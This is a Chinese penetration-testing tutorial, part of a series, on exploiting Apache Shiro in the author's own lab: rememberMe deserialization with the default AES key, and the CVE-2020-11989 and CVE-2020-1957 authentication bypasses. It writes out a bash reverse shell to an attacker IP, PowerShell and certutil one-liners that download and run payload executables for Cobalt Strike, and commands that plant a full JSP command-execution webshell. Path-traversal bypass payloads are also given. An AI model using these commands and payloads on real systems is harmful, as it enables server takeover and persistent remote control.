系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Shiro简介、本地搭建Shiro、Linux环境Shiro渗透总结、Windows环境Shiro渗透总结、Shiro自动化武器、CVE-2020-11989:Apache Shiro权限绕过复现、Apache Shiro 认证绕过漏洞(CVE-2020-1957)等等操作,如果连Shiro都不会安装操作提权等,怎么拿下对方服务器?
二、Shiro简介
1、Shiro简介
维基百科:
https://zh.wikipedia.org/wiki/Apache_Shiro
Apache Shiro 是企业常见的Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。该漏洞已经曝光几年,但是在实战中仍然比较实用,每年的护网都能起到不小的作用。
2、shiro漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
3、shiro序列化利用条件
由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==
,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。
4、shiro漏洞指纹
返回包中存在set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可
三、本地搭建
1、环境下载
https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
2、安装tomcat
完成tomcat8版本安装!
3、本地部署shiro.war
成功部署shiro环境!
四、Shiro渗透总结
1、Linux出网环境渗透Shiro 反序列化漏洞
CVE-2016-4437(Apache Shiro 反序列化漏洞)
1)漏洞描述
Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
2)漏洞原理
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManager类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。
原因分析:
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在rememberMe=deleteMe 字段
3)影响版本
影响Shiro<1.2.5版本,当未设置用于“remember me” 特性的AES密钥时,存在反序列化漏洞,可远程命令执行。
4)漏洞启动
(1)开启Shiro漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
5)漏洞复现
(1)访问靶机:
http://192.168.253.7:8080/
(2)确认网站是apache shiro搭建的
抓包:
抓包后将Cookie内容改为remember Me=1,若响应包有rememberMe=deleteMe,则基本可以确定网站是apache shiro搭建,效果如下图:
(3)直接运行找key
成功利用获得的key进行控制,获得的权限是root权限!
2、Linux不出网环境渗透shiro反序列化漏洞
1)搭建环境
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8888:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
2)验证搭建环境
http://192.168.253.9:8888/
成功搭建成功!
3)抓包分析remember_me
remember Me=1
4)不出网攻击shiro
1)需要python3进行执行:
2)分析shiro-rce脚本:
判断逻辑,修改了源码的ysoserial-sleep.jar,主要对应延迟5的应用,然后去循环key和gadget,如果某个key和gadget组合以及延迟命令success生效了,就是存在的,还区别两个判断,linux和windows,最后在写入shell后还对发送命令进行了base64进行编译后发送!
3)开始进行验证攻击
python3 shiro-1.2.4_rce.py http://192.168.253.9:8888/login
输入linux系统获得shell!
5)执行命令测试
命令是自动编制执行的,无回显的,在docker也是一样可以运行的!
6)反弹shell
bash -i >& /dev/tcp/192.168.253.65/8888 0>&1
成功获得root权限的shell!
3、windows环境渗透shiro反序列化漏洞
1)自动化攻击shiro
python3 shiro-1.2.4_rce.py http://192.168.253.91:8080/shiro/
2)windows成功交互shell
成功交互!
3)上线CS
开启CS:
2)生成木马
3)powershell上线CS
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.253.65/dayu.exe','dayu.exe');start-process dayu.exe
成功上线到CS,并进行控制交互!
4、windows内网环境测试
目标不出网,当使用shiro反序列化漏洞对目标进行攻击时,经常存在目标无法访问互联网,导致无法反弹shell的问题。
1)模拟内网环境搭建tomcat-shiro
搭建内网windows-shiro:
双网卡服务器部署在边界:
VPS端,并开启FRPs:
2)开启Frp隧道进行攻击
成功建立隧道!
3)进攻内网shiro
在外网kali环境拿到内网的shell:
4)建立内网环境payload
1)开启中转监听CS
2)建立中间监听的payload
3)开启第一个shell建立监听:
肯定有web服务器,丢到对方web服务器目录即可!
5)内网shiro多级内网上线CS
powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.11/dayu1.exe','dayu1.exe');start-process dayu1.exe
成功上线!
6)拓展小技巧
写文件:
寻找目标网站上存在的文件,尽可能保证其唯一性。
通过执行命令,搜索文件,定位到网站目录,写入webshell。
linux:
#把执行命令的返回输出到1.txt中,通过网站目录访问。
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `whoami` > 1.txt
#写入jsp木马到网站目录
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo 'jsp木马' > 1.jsp
windows powershell:
echo $file = Get-ChildItem -Path . -Filter 20200629.jpg -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.jsp");echo "<%if(""023"".equals(request.getParameter(""pwd""))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(""i"")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print(""<pre>"");while((a=in.read(b))!=-1){out.println(new String(b));}out.print(""</pre>"");}%>" ^|Out-File $f >c:\123.ps1 &&cd c:\ &&powershell.exe c:\123.ps1
五、自动化武器
主要渗透自主搭建的三个shiro站:
http://192.168.253.91:8080/shiro
http://192.168.253.9:8888/
http://192.168.253.7/
1、shiro反序列化漏洞综合利用工具
vulhub进行渗透:
http://192.168.253.7:8080/login;jsessionid=54CB78ABCB893A48211D514600DFCE2F
成功获得!
测试渗透kali搭建的shiro和windows的无法成功~~
2、自动加key回显检测工具
好处是可以方便导入很多key进行检测回显的key,进行利用这块未能成功!!
3、Shiro命令执行工具-117个key
网络得好的情况下巨快能探测到shiro的key值!外网使用!共有117个key进行跑!
http://192.168.253.7:8080/login;jsessionid=54CB78ABCB893A48211D514600DFCE2F
三个站都是很快速的找到key!
4、Shiro550/720漏洞检测工具
如果使用ceye.io跑不出来就选择第二个dnslog.cn进行漏洞检测!
经过30秒左右时间跑动成功!
程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。
输入IP+端口即可!
1、反弹shell(linux) 采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 的方式反弹 shell
2、反弹shell(Windows) 采用 bitsadmin 下载指定 URL 的 exe 文件并执行的方式获取 shell
3、获取Webshell 直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取!
成功获得shell!
上传webshell:
windows上线:
测试上线和上传webshell是有问题的,换shell.jsp也是无效的!
certutil.exe -urlcache -split -f http://192.168.253.38/dayu2.exe shell.exe & shell.exe
这条命令没问题,就是不输出!
六、深入漏洞
1、CVE-2020-11989:Apache Shiro权限绕过复现
1)漏洞简介
(1)漏洞原理:
Apache Shiro 1.5.2之前版本中存在安全漏洞。攻击者可借助特制的请求利用该漏洞绕过身份验证。
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。Shiro的URL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,/可以匹配/hello,但是匹配不到/hello/,因为通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。
(2)影响版本:
Apache Shiro < 1.5.2
2)Shiro拦截器
Shiro框架通过拦截器功能来实现对用户访问权限的控制和拦截。Shiro中常见的拦截器有anon,authc等拦截器。
1.anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口。
2.authc为登录拦截器,需要登录认证才能访问的资源。
用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访问资源。
[urls] /index.html = anon /user/** = authc
Shiro的URL路径表达式为Ant 格式,路径通配符支持 ? * ** 。
?:匹配一个字符 :匹配零个或多个字符串 **:匹配路径中的零个或多个路径
其中表示匹配零个或多个字符串,/可以匹配/hello,但匹配不到/hello/因为通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello 形式和/hello/形式的URL访问的资源是一样的。
2)漏洞启动
(1)拉取镜像
docker pull vulfocus/shiro-cve_2020_1957
(2)查看开启的ID
docker images
(3)开启docker
docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.253.9 29136b1d3c61
sudo docker ps
成功开启!
3)漏洞复现
(1)访问靶机:
http://192.168.253.9:8080/
http://192.168.253.9:8080/login
4)Shiro1.4.2版本绕过权限
(1)访问/hello/1
接口,可以看到被authc拦截器拦截了,将会跳转到登录接口进行登录:
(2)访问/hello/1/
,成功绕过authc拦截器,获取到了资源:
5)Shiro≤1.5.1版本绕过
在1.5.1版本中,/hello/会直接跳转到登录!
绕过payload:/dwdww;/../hello/1
,成功绕过
或者其他payload:xxxx/..;/hello/1
,成功绕过(shiro的1.5.1及其之前的版本都可以)
6)总结漏洞详情
CVE-2020-13933虽然是CVE-2020-11989的绕过,然而两者的绕过内容却不同!
CVE-2020-11989针对于/admin/page,这种固定路由,shiro得到的地址为/,因此认为可以访问,Spring得到的地址为/admin/page,从而定位到未授权的页面!
CVE-2020-13933则是匹配非固定地址路由,比如/admin/{name},因为shiro得到的是/admin/,认为可以访问,而Spring得到的是/admin/;page,如果也采取固定路由,则会因为找不到;page,从而返回404!
2、Apache Shiro 认证绕过漏洞(CVE-2020-1957)
1)漏洞简介
(1)漏洞原理:
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。
(2)影响版本:
Apache Shiro < 1.5.3
2)漏洞启动
(1)开启CVE-2020-1957漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
3)漏洞复现
(1)访问靶机:
http://192.168.253.9:8080/
复现和CVE-2020-11989一样!!
七、总结
总结下来就是shiro的功能用到了AES加密,但是密钥是硬编码在代码里的,所以很容易拿到密钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥,所以就可以通过恶意构建Cookie获取权限执行攻击命令,拿到root权限,官方解决的方案是简单的弃用了问题代码。
官方解释链接:
https://github.com/Collaborne/shiro/commit/71114398cadb47e49384638df0a4b79fb3120f8a
所以建议是升级shiro版本,避免该问题,新版本到shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥,但是我看了一下我使用的shiro版本是1.4.0,按理不应该存在该问题了啊,那问题出在哪里呢,片头引用的第四篇文章里面说到了升级shiro版本后仍然存在反序列化漏洞,其原因是因为我们使用了别人的开源框架,他们在代码里会配置shiro的密钥,而关键代码可以在github上通过api search接口搜索到,从而得到一个所谓的key包,其实就是这些密钥的集合,然后用这些公开的密钥去轮流尝试,如果你用了开源的框架,而没有修改shiro的密钥,其实这就相当于你使用的shiro密钥已经泄露,这是非常危险的。
今天学到Shiro简介、本地搭建Shiro、Linux环境Shiro渗透总结、Windows环境Shiro渗透总结、Shiro自动化武器、CVE-2020-11989:Apache Shiro权限绕过复现、Apache Shiro 认证绕过漏洞(CVE-2020-1957)等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)-> 服务攻防之框架Spring(上)......
接下来在《服务攻防之框架Spring(上)》会接触到Spring简介、Spring框架特征、Spring Security OAuth2远程命令执行突破(CVE-2016-4977)、Spring Web Flow框架远程代码执行(CVE-2017-4971)等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架Spring篇上章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余